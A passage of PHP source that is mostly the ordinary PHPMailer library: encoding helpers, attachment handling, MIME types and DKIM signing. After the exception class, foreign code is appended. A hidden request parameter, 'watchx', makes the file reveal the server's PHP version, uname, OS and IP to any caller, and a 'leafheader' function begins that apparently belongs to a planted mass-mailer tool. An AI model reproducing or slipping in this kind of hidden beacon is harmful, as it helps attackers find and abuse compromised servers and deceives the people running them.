        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
